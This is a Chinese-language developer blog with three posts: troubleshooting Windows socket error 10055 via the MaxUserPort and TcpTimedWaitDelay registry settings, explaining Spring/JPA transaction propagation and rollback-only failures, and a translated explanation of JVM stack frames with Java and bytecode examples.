Monday, December 07, 2009

Windows, TcpTimedWaitDelay/MaxUserPort

在服务器上装的操作系统为windowXP professional SP3,在上面跑了很多东西,包括oracle 10g,tomcat,ftp server,还有一个java程序,最近经常碰到一个问题,就是操作系统会跑出异常信息:
An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full(windows socket error:由于系统缓冲区空间不足或者队列已满,不能执行套接字上的操作.(10055),on API 'connect').
于是使用"netstat -an"来查看,觉得系统当前占用的端口也不多,参考下面:
Proto Local Address Foreign Address State
TCP 192.168.2.9:1047 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:1072 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:1073 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:1079 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:1190 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:1335 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:1340 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:1387 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:1447 192.168.2.9:8443 CLOSE_WAIT
TCP 192.168.2.9:1494 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:1047 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:1072 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:1073 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:1079 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:1190 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:1335 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:1340 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:1387 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:1494 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:1592 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:1727 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:2020 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:3152 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:3153 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:3154 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4133 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4435 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4457 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4471 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4498 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4521 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4537 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4570 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4580 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4766 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4774 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4837 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4880 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.9:4982 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.110:3103 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.110:3104 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.110:3105 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.111:1922 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.113:5047 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.116:3713 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.116:3714 TIME_WAIT
TCP 192.168.2.9:1521 192.168.2.116:3734 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.117:1324 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.117:1325 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.117:1326 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.117:2897 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.117:2898 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.117:2899 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.118:2101 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.118:2105 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.118:2171 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.118:2172 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.118:2490 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.118:2491 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.118:2714 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47877 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47878 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47879 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47880 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47881 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47882 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47883 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47884 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47885 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47886 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47887 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47888 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47889 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47890 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47891 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47892 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47893 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47894 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47895 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47896 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47897 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47898 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47899 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47900 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47901 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47902 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47903 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47904 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47905 ESTABLISHED
TCP 192.168.2.9:1521 192.168.2.121:47906 ESTABLISHED
TCP 192.168.2.9:1592 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:1657 192.168.2.9:8443 CLOSE_WAIT
TCP 192.168.2.9:1727 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:2020 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:2156 192.168.2.9:8443 CLOSE_WAIT
TCP 192.168.2.9:3152 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:3153 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:3154 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:3380 192.168.2.9:8443 CLOSE_WAIT
TCP 192.168.2.9:3724 192.168.2.9:8080 CLOSE_WAIT
TCP 192.168.2.9:3740 192.168.2.9:8080 CLOSE_WAIT
TCP 192.168.2.9:3764 192.168.2.9:8080 CLOSE_WAIT
TCP 192.168.2.9:3938 192.168.2.9:4476 TIME_WAIT
TCP 192.168.2.9:3938 192.168.2.9:4982 TIME_WAIT
TCP 192.168.2.9:4132 192.168.2.9:8080 CLOSE_WAIT
TCP 192.168.2.9:4133 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4159 192.168.2.9:8080 CLOSE_WAIT
TCP 192.168.2.9:4385 192.168.2.9:8080 CLOSE_WAIT
TCP 192.168.2.9:4435 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4457 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4471 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4476 192.168.2.9:1158 TIME_WAIT
TCP 192.168.2.9:4476 222.138.226.80:2001 SYN_SENT
TCP 192.168.2.9:4498 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4521 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4537 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4570 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4580 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4766 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4774 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4837 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4880 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:4982 192.168.2.9:1521 ESTABLISHED
TCP 192.168.2.9:5900 192.168.2.110:3304 ESTABLISHED
TCP 192.168.2.9:5900 192.168.2.113:4931 ESTABLISHED
从上面看来,顶多也就使用了125个user port(指建立socket连接时,操作系统给客户端自动分配的端口), 然后查看系统资源占用情况,总体来看也没有出现资源不足的情况.
CPU使用:4%
PF Usage: the amount of paging files being used by the system. If your computor is running near the maximum,
you can increase the page file size.

# Totals, total for numbers of handles, threads and processed running on the computor.
[总数]
# handles, a value used to uniquely identify a resource, such as a file or registry key, so that a program can
# access it.
句柄数:55234
# threads, a object within process that run program instructions.
线程数:788
# processed, a executable program.
进程:47

# Physical Memory
# The total physical memory, also called RAM, installed on your computor.
[物理内存(K)]
总数:3134356
# Available, represents the amount of free memory that is available for use.
可用数:1445808
# System Cache, shows the current physical memory used to map pages on open files .
系统缓存:624104

# Commit Charge
# Memory allocated to programs and the operating system, because of the memory copied to the paging files,
# called virtual memory, the value listed under PEAK may exceed the maximam physical memory. The value
# for Total is the same as that dipicted in the Paging File Usage History graph.
[认可用量(K)]
总数:1971300
限制:7670780
峰值:1989332

# Kernel Memory, memory used by system kernel and device drivers.
[核心内存(K)]
总数:63468
# Paged, is the memory can be copied to paging files, thereby free the physical memory. This physical memory
# can then be used by the operating system.
分页数:46444
# Nonpaged, is the memory that remains resident in the physical memory, and will not be copied out to the
# paging files.
未分页:16996

What is paging file?
A hidden file on the hard disk that Windows uses to hold parts of programs and data files that do not fit in memory. The paging file and physical memory, or RAM, comprise virtual memory.
Windows moves data from the paging file to memory as needed and moved data from memory to the paging file to make room for new data. Paging file is also called a swap file.

What is nonpaged pool?
Operating system memory that is never paged to disk. Paging is the moving of infrequently used parts of a program's working memory from RAM to another storage medium, usually the hard dist. In Task Manager, the amount of memory used by a process, in kilobytes.

What is paged pool?
The system-allocated virtual memory that has been charged to a process and that can be paged. Paging is the moving of infrequently-used parts of the program's working memory from RAM to another storage medium, usually the hard disk.

What is virtual memory?
Temporary storage used by a computer to run programs that need more memory that it has. For example, programs could have access to 4 gigabytes of virtual memory on a computer's hard drive, even if the computer has only 32 megabytes of RAM,. The program data that does not currently fit in the computer's memory is saved into paging files.

上面解释了以下任务管理器中的性能监控的一些因素.
最后关于socket错误的原因从微软的官网找到了(http://support.microsoft.com/kb/196271).
If you try to set up TCP connections from ports that are greater than 5000, the local computer responds with the following WSAENOBUFS (10055) error message:
An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full.
Important This section, method, or task contains steps that tell you how to modify the registry. However, serious problems might occur if you modify the registry incorrectly. Therefore, make sure that you follow these steps carefully. For added protection, back up the registry before you modify it. Then, you can restore the registry if a problem occurs. For more information about how to back up and restore the registry, click the following article number to view the article in the Microsoft Knowledge Base:
322756 (http://support.microsoft.com/kb/322756/ ) How to back up and restore the registry in Windows


The default maximum number of ephemeral TCP ports is 5000 in the products that are included in the "Applies to" section. A new parameter has been added in these products. To increase the maximum number of ephemeral ports, follow these steps:

1. Start Registry Editor.
2. Locate the following subkey in the registry, and then click Parameters:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
3. On the Edit menu, click New, and then add the following registry entry:
Value Name: MaxUserPort
Value Type: DWORD
Value data: 65534
Valid Range: 5000-65534 (decimal)
Default: 0x1388 (5000 decimal)
Description: This parameter controls the maximum port number that is used when a program requests any available user port from the system. Typically, ephemeral (short-lived) ports are allocated between the values of 1024 and 5000 inclusive. After the release of security bulletin MS08-037, the behavior of Windows Server 2003 was changed to more closely match that of Windows Server 2008 and Windows Vista. For more information about Microsoft security bulletin MS08-037, click the following article numbers to view the articles in the Microsoft Knowledge Base:
951746 (http://support.microsoft.com/kb/951746/ ) MS08-037: Description of the security update for DNS in Windows Server 2008, in Windows Server 2003, and in Windows 2000 Server (DNS server-side): July 8, 2008
951748 (http://support.microsoft.com/kb/951748/ ) MS08-037: Description of the security update for DNS in Windows Server 2003, in Windows XP, and in Windows 2000 Server (client side): July 8, 2008
953230 (http://support.microsoft.com/kb/953230/ ) MS08-037: Vulnerabilities in DNS could allow spoofing
4. Exit Registry Editor, and then restart the computer.

Note An additional TCPTimedWaitDelay registry parameter determines how long a closed port waits until the closed port can be reused.

从上面可以看到,window操作系统还有一个TCPTimeWaitDelay的参数, 这个参数表示:在确定 TCP/IP 可释放已关闭连接并重用其资源前,必须经过的时间。关闭和释放之间的此时间间隔通称 TIME_WAIT 状态或两倍最大段生命周期(2MSL)状态。此时间期间,重新打开到客户机和服务器的连接的成本少于建立新连接。减少此条目的值允许 TCP/IP 更快地释放已关闭的连接,为新连接提供更多资源。如果运行的应用程序需要快速释放和创建新连接,而且由于 TIME_WAIT 中存在很多连接,导致低吞吐量,则调整此参数。
默认的MaxUserPort时1024-5000,TCPTimeWaitDelay是4分钟,所以如果在4分钟内发起了大约4000个连接,这时就会发生异常(10055).

Wednesday, October 21, 2009

Spring事务管理以及与数据库连接的关系

这里写两个碰到过的有意思的问题。

Question 1

Q1是由于oracle允许的最大连接数太小导致并发用户多的时候出现服务器无响应的问题。 Q2是Spring的AOP事务控制的问题,可能出现commit a rollback-only transaction.
先交代一下上下文(因为问题都是在同一个项目总碰到的),项目用的是Sprint+JPA(hibernate), spring的事务声明如下:
<tx:advice id="defaultTxAdvice" transaction-manager="transactionManager">
        <tx:attributes>
                <!-- Keep SequenceService in a isolation transaction -->
                <tx:method name="get*" read-only="true" />
                <tx:method name="verifyPayoutLimit" read-only="true" />
                <tx:method name="enquiry" read-only="true" />
                <!-- By default, A runtime exception will rollback transaction. -->
                <tx:method name="*" rollback-for="ApplicationException" />
        </tx:attributes>
</tx:advice>

<tx:advice id="asynTxAdvice" transaction-manager="transactionManager">
        <tx:attributes>
                <!-- Keep SequenceService in a isolation transaction -->
                <tx:method name="get*" read-only="true" />
                <!-- By default, A runtime exception will rollback transaction. -->
                <tx:method name="*" propagation="REQUIRES_NEW"
                        rollback-for="ApplicationException" />
        </tx:attributes>
</tx:advice>

<aop:config>
        <aop:pointcut id="service"
                expression="execution(* com.mpos.lottery.te..service.*Service.*(..))" />
        <aop:pointcut id="asynService"
                expression="execution(* com.mpos.lottery.te..service.*ServiceAsyn.*(..))" />
        <aop:advisor advice-ref="defaultTxAdvice" pointcut-ref="service" />
        <aop:advisor advice-ref="asynTxAdvice" pointcut-ref="asynService" />
</aop:config>

先说Q1。比如有两个service:TicketService和SequenceServiceAsyn,并且TicketService需要调用SequenceServiceAsyn的服务。预先设置了oracle的最大允许连接数为100(可以通过show parameter processes命令查看),比如这个时候恰好有个100个并发用户访问TicketService,而且TicketService还没有执行到需要调用SequenceAsyn的服务那一步, 这意味着oracle的100个连接会被这100个用户的会话(线程)占用。这个时候,有一个用户的会话的TicketService开始调用SequenceServiceAsyn的服务,从Spring的事务声明来看,这个时候需要启动一个新的事务,所以这个会话就会要求获得一个新的数据库连接,但是连接都已经用完,oracle服务器无法提供更多的连接,所以这个会话开始等待,并且一直尝试建立新连接。 那么其他的会话呢?其他所有的会话都会走到这里,然后尝试从数据库获得一个新的连接,但是没有一个会成功,而他们本身获得的连接只有在事务提交后才会释放。。。最终导致服务器无法响应。当然这个问题也可能用另外一种面貌展示出来,但是问题是一样,要么增加数据库的最大允许连接数,或者控制客户端的请求。

Question 2

然后说Q2。 这里通过一个叫batch validation的交易来说明这个问题,这个交易的控制流是这样的。FacadeService.facade->InstantTicketService.batchValidate->InstantTicketService.valdate->MerchantService.verfiyPayoutLimit. 因为以前关于这个问题已经在代码中进行了描述,这里也不重复了,直接copy过来(chinese-english)。

Why change the name of "MerchantService" to "MerchantManager"? What does it interfere? In spring-service.xml, we state the transaction boundary as below: "execution(* com.mpos.lottery.te..service.*Service.*(..))" "PROPAGATION_REQUIRED,ISOLATION_DEFAULT,-ApplicationException" and transaction will be roll back when catch a ApplicationException or RuntimeException.
When client issue a 'batch validation' request, TE will handle these tickets in request one by one. Even fail to validate one ticket, the other tickets are still can be validated maybe. When handle 'batch validation', Spring will create a transaction(A) when enter FacadeService.facade which is a facade for all services. Then the control flow enter InstantTicketService#batchValidate, Spring will get transaction for this cut-point(due to PROPAGATION is REQUIRED):
  1. [TransactionInterceptor] Getting transaction for [com.mpos.lottery.te.instantgame.service.InstantTicketService.batchValidate]
  2. [TransactionSynchronizationManager] Retrieved value [org.springframework.orm.jpa.EntityManagerHolder@4dd413] for key [org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean@1a4a1c9] bound to thread [http-8080-1]
Spring will retrieve the exist transaction(A) which has been created when enter FacadeService.facade and bound to current thread.
Methond 'batchValidate' will invoke MerchantService.veryfPayoutLimit to check if the actual payout amount exceed allowed max payout amount of a merchant. In the same way, when enter MerchantService#verifyPayoutLimit, Spring will get the exist transaction(A) from current thread. Here, if fail to pass this checking, a ApplicationException(code=341) will be thrown out from MerchantService. When quit MerchantService.verifyPayoutLimit, Spring will complete the transaction of this service.
  1. [TransactionInterceptor] Completing transaction for [com.mpos.lottery.te.merchant.service.MerchantService.verifyPayoutLimit] after exception: com.mpos.lottery.te.config.domain.exception.ApplicationException: ...
  2. [RuleBasedTransactionAttribute] Applying rules to determine whether transaction should rollback on com.mpos.lottery.te.config.domain.exception.ApplicationException: ...
  3. [RuleBasedTransactionAttribute] Winning rollback rule is: RollbackRuleAttribute with pattern [ApplicationException]
  4. [JpaTransactionManager] Participating transaction failed - marking existing transaction as rollback-only
  5. [JpaTransactionManager] Setting JPA transaction on EntityManager [org.hibernate.ejb.EntityManagerImpl@10463c3] rollback-only
Now, Spring has marked this transaction(A) as rollback-only, but when InstantTicketService catch this ApplicationException, it will only fail to validate this ticket, and then continue to handle the next ticket. Let's say the validation of next ticket is successful, and eventually no ApplicationException or RuntimeException will be thrown out when quit FacadeService.facade. So Spring will plan to commit this rollback-only transaction(A), then a excetpion will be thrown out by Spring:
     Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: 
         Transaction marked as rollbackOnly

         org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly

        at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:465)

        at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:709)

        ......
 
That is why I change 'MerchantService' to 'MerchantManager'. After renaming, Spring will not manage the transaction when enter MerchantManager#verfyPayoutLimit. ANOTHER approach is set the transaction of 'MerchantService#verifyPayoutLimit' as read-only.
NOTE that Spring won't get transaction for InstantTicketService.validate. why? In fact, when Spring start to initialize the whole ApplicationContext or BeanFactory, it will find the AOP definition first, Here let's focus on Service pointcut. Then when initialize the service instance, for example 'MerchantServiceImpl', it find 'MerchantServiceImpl' implements 'MerchantService' which is in Service pointcut, so sprint will return a dynamic proxy which will target to MerchantServiceImpl instance..
  1. [AspectJAwareAdvisorAutoProxyCreator] Creating implicit proxy for bean 'merchantService' with 0 common interceptors and 2 specific interceptors
  2. [JdkDynamicAopProxy] Creating JDK dynamic proxy: target source is SingletonTargetSource for target object [com.mpos.lottery.te.merchant.service.impl.MerchantServiceImpl@c39410]
The mechanism of JDK dynamic proxy:
  1. A proxy instance is extends from java.lang.reflect.Proxy
  2. One proxy instance will associate with only one InvocationHandler instance.
  3. The invocation on proxy instance(MerchantService$Proxy) will be dispatched to InvocationHandler instance, and then InvocationHandler instance dispatch the request to target instance(MerhcantServiceImpl)
  4. InvocationHandler instance will create transaction context before dispatching request, or do some other things
Now come back to the question, why doesn't Spring get a transaction for InstantTicketService.validate? The flow should be below:
  1. Enter FacadeService.facade, in fact client invoke FacadeService$Proxy.facade. This proxy(In fact proxy will dispatch reqeust to InvocationHandler, or interceptor) will check if a transaction has bound with current thread, if not, create one, and bount it to current thread. Then control flow enter FacadeServiceImpl.facade.
  2. Enter InstantTicketService.batchValidate(in fact InstantTicketService$Proxy.batchValidate), this proxy will also check transaction context too. Then control flow enter InstantTicketServiceImpl.batchValidate
  3. Enter InstantTicketServiceImpl.validate, not InstantTicketService$Proxy...Due to invoke validate \ from batchValidate directly, not access to IntantTicketService$Proxy...
  4. Enter MerchantService$Proxy, then InvocationHandler(interceptor), and then MerchantServiceImpl$Proxy
  5. Quit MerchantServiceImpl.verfiyPayoutLimit
As described above, InstantTicketService.validate is invoked from target class InstantTicketServiceImpl.batchValidate directly, Spring doesn't aware of this invocation, so no transaction will be got for batchValidate.
public class MerchantServiceImpl implements MerchantService {
 ...
}

Monday, May 11, 2009

InsideJVM(5)-Java Stack(堆栈)

Java堆栈
jvm为每个新创建的线程都分配一个堆栈。堆栈以帧为单位保存
线程的状态。jvm对堆栈只进行两种操作:以帧为单位的压栈和出栈
操作。

某个线程正在执行的方法称为此线程的当前方法。当前方法使用的帧称
为当前帧。当前方法所属的类称为当前类。当前类的常量池称为当前
常量池。当线程执行一个方法时,它会跟踪当前的类和常量池。当jvm
会在当前帧内执行帧内数据的操作。

当线程激活一个java方法,jvm就会在线程的java堆栈里新压入一个帧。
这个帧自然成为了当前帧。在此方法执行期间,这个帧将用来保存参数,
局部变量,中间计算过程和其他数据。

一个方法可以以两种方法结束。一种是正常返回结束。一种是通过
异常抛出而异常结束(abrupt completion)。不管以那种方式返回,jvm
都会将当前帧弹出堆栈然后释放掉,这样上一个方法的帧就成为当前帧了。
(译者:可能可以这样理解,位于堆栈顶部的帧为当前帧)

java堆栈上的所有数据都为此线程私有。一个线程不能访问另一个线程
的堆栈数据,所以在多线程的情况下也不需要对堆栈数据的访问进行同步。

象方法区和堆一样(见以前的译文),java堆栈和帧在内存中也不必是连续
的。帧可以分布在连续的内存区,也可以不是。帧的数据结构由jvm的实现者
来决定,他们可以允许用户指定java堆栈的初始大小或最大最小尺寸。

堆栈帧( The Stack Frame)
堆栈帧有三部分:局部变量区,操作数堆栈和帧数据区。局部变量区和操作数堆栈
的大小要视对应的方法而定。编译器在编译的时候就对每个方法进行了计算并放在
了类文件(class file)中了。帧数据区的大小对一种jvm实现来说是一定的。
当jvm激活一个方法时,它从类信息数据得到此方法的局部变量区和操作数堆栈的
大小,并据此分配大小合适堆栈帧压入java堆栈中。

局部变量区
java堆栈帧的局部变量区是一个基为零类型为word的数组。指令通过索引来
使用这些数据。类型为int,float,reference和returnAddress的值在
数组中占据一项,类型为byte,short,和char的值在存入数组前都转为了
int值而占据一项。类型为long和double的值在数组中占据连续的两项,在
访问他们的时候,指令提供第一项的索引。例如一个long值占据3,4项,指令会
取索引为3的long值。局部变量区的所有值都是字对齐的,long和doubles
的起始索引值没有限定。

局部变量区包含此方法的参数和局部变量。编译器首先以声明的顺序把参数
放入局部数据区。图5-9显示了下面两个方法的变量区。
// On CD-ROM in file jvm/ex3/Example3a.java
class Example3a {

public static int runClassMethod(int i, long l, float f,
double d, Object o, byte b) {

return 0;
}

public int runInstanceMethod(char c, double d, short s,
boolean b) {

return 0;
}
}


图5-9. 局部变量区中的方法参数

注意在方法runInstanceMethod()的帧中,第一个参数是一个
类型为reference的值,尽管方法没有显示的声明这个参数,但
这是个对每个实例方法(instance method)都隐含加入的一个
参数值,用来代表调用的对象。(译者:与c++中的this指针一样)
我们看方法runClassMethod()就没有这个变量,这是因为这是一
个类方法(class method),类方法与类相关,而不与对象相关。

我们注意到在源码中的byte,short,char和boolean在局部变量区
都成了ints。在操作数堆栈也是同样的情况。如前所述,jvm不直接
支持boolean类型,java编译器总是用ints来表示boolean。但java
对byte,short和char是支持的,这些类型的值可以作为实例变量
存储在局部变量区中,也可以作为类变量存储在方法区中。但在局部变量区
和操作数堆栈中都被转成了ints类型的值,期间的运算也是以int来的,
只当存回堆或方法区中,才会转回原来的类型。

同样需要注意的是runClassMethod()的对象o。在java中,所以的对象
都以引用(reference)传递。所有的对象都存储在堆中,你永远都不会在
局部变量区或操作数堆栈中发现对象的拷贝,只会有对象引用。

编译器对局部变量的放置方法可以多种多样,它可以任意决定放置顺序,
甚至可以用一个索引指代两个局部变量。例如,当两个局部变量的作用域
不重叠时,如Example3b的局部变量i和j。

// On CD-ROM in file jvm/ex3/Example3b.java
class Example3b {

public static void runtwoLoops() {

for (int i = 0; i < 10; ++i) {
System.out.println(i);
}

for (int j = 9; j >= 0; --j) {
System.out.println(j);
}
}
}

jvm的实现者对局部变量区的设计仍然有象其他数据区一样的灵活性。
关于long和double数据如何分布在数组中,jvm规范没有指定。
假如一个jvm实现的字长为64位,可以把long或double数据放在
数组中的低项内,而使高项为空。(在字长为32位的时候,需要两项
才能放下一个long或double)。

操作数堆栈
操作数堆栈象局部变量区一样是用一个类型为word的数组存储数据,
但它不是通过索引来访问的,而是以堆栈的方式压入和弹出。假如
一个指令压入了一个值,另一个指令就可以弹出这个值并使用之。

jvm在操作数堆栈中的处理数据类型的方式和局部变量区是一样的,同样
有数据类型的转换。jvm没有寄存器,jvm是基于堆栈的而不是基于寄存器
的,因为jvm的指令从堆栈中获得操作数,而不是寄存器。虽然操作数还可以
从另外一些地方获得,如字节码中,或常量池内,但主要是从堆栈获得的。


jvm把操作数堆栈当作一个工作区使用。许多指令从此堆栈中弹出数据,进行
运算,然后压入结果。例如,iadd指令从堆栈中弹出两个数,相加,然后压入
结果。下面显示了jvm是如何进行这项操作的:
iload_0 // push the int in local variable 0
iload_1 // push the int in local variable 1
iadd // pop two ints, add them, push result
istore_2 // pop int, store into local variable 2

在这个字节码的序列里,前两个指令iload_0和iload_1将存储在
局部变量区中索引为0和1的整数压入操作数据区中,然后相加,将
结果压入操作数据区中。第四条指令istore_2从操作数据区中弹出
结果并存储到局部数据区索引为2的地方。在图5-10中,详细的表述
了这个过程,图中,没有使用的区域以空白表示。


图5-10. 两个局部变量的相加.

帧数据区
除了局部变量区和操作数据堆栈外,java栈帧还需要数据来支持
常量池解析(constant pool resolution),方法的正常返回
(normal method return)和异常分派(exception dispatch)。
这些信息保存在帧数据区中。

jvm中的许多指令都涉及到常量池的数据。一些指令仅仅是取出常量池
中的数据并压入操作数堆栈中。一些指令使用常量池中的数据来指示
需要实例化的类或数组,需要访问的域,或需要激活的方法。还有一些
指令来判断某个对象是否是常量池指定的某个类或接口的子孙实例。

每当jvm要执行需要常量区数据的指令,它都会通过帧数据区中指向
常量区的指针来访问常量区。以前讲过,常量区中对类型,域和方法
的引用在开始时都是符号。如果当指令执行的时候仍然是符号,jvm
就会进行解析。

除了常量区解析外,帧数据区还要帮助jvm处理方法的正常和异常结束。
正常结束,jvm必须恢复方法调用者的环境,包括恢复pc指针。假如
方法有返回值,jvm必须将值压入调用者的操作数堆栈。

为了处理方法的异常退出,帧数据区必须保存对此方法异常表的引用。
一个异常表定义了这个方法受catch子句保护的区域,每项都有一个
catch子句的起始和开始位置(position),和用来表示异常类在常量池
中的索引,以及catch子句代码的起始位置。

当一个方法抛出异常时,jvm使用帧数组区指定的异常表来决定如何处理。
如果找到了匹配的catch子句,就会转交控制权。如果没有发现,方法会
立即结束。jvm使用帧数据区的信息恢复调用者的帧,然后重新抛出同样
的异常。

除了上述信息外,jvm的实现者也可以将其他信息放入帧数据区,如调试
数据。

java堆栈的一种实现
实现者可以按自己的想法设计java堆栈。如以前所讲,一个方法是从堆中
单独的分配帧。我以此为例,看下面的类:
// On CD-ROM in file jvm/ex3/Example3c.java
class Example3c {

public static void addAndPrint() {
double result = addTwoTypes(1, 88.88);
System.out.println(result);
}

public static double addTwoTypes(int i, double d) {
return i + d;
}
}

图5-11显示了一个线程执行这个方法的三个快照。在这个jvm的实现中,
每个帧都单独的从堆中分配。为了激活方法addTwoTypes(),方法
addAndPrint()首先压入int 1和double88.88到操作数堆栈中,然后
激活addTwoTypes()方法。

图5-11. 帧的分配

激活addTwoTypes()的指令使用了常量池的数据,jvm在常量池中查找这些数据
如果有必要则解析之。

注意addAndPrint()方法使用常量池引用方法addTwoTypes(),尽管
这两个方法是属于一个类的。象引用其他类一样,对同一个类的方法和域
的引用在初始的时候也是符号,在使用之前需要解析。

解析后的常量池数据项将指向存储在方法区中有关方法addTwoTypes()的信息。
jvm将使用这些信息决定方法addTwoTypes()局部变量区和操作数堆栈的大小。
如果使用Sun的javac编译器(JDK1.1)的话,方法addTwoTypes()的局部变量区
需要三个words,操作数堆栈需要四个words。(帧数据区的大小对某个jvm实现
来说是定的)jvm为这个方法分配了足够大小的一个堆栈帧。然后从方法
addAndPrint()的操作数堆栈中弹出double参数和int参数(88.88和 1)并把他们
分别放在了方法addTwoType()的局部变量区索引为1和0的地方。

当addTwoTypes()返回时,它首先把类型为double的返回值(这里是89.88)
压入自己的操作数堆栈里。jvm使用帧数据区中的信息找到调用者(为
addAndPrint())的堆栈帧,然后将返回值压入addAndPrint()的操作数堆栈
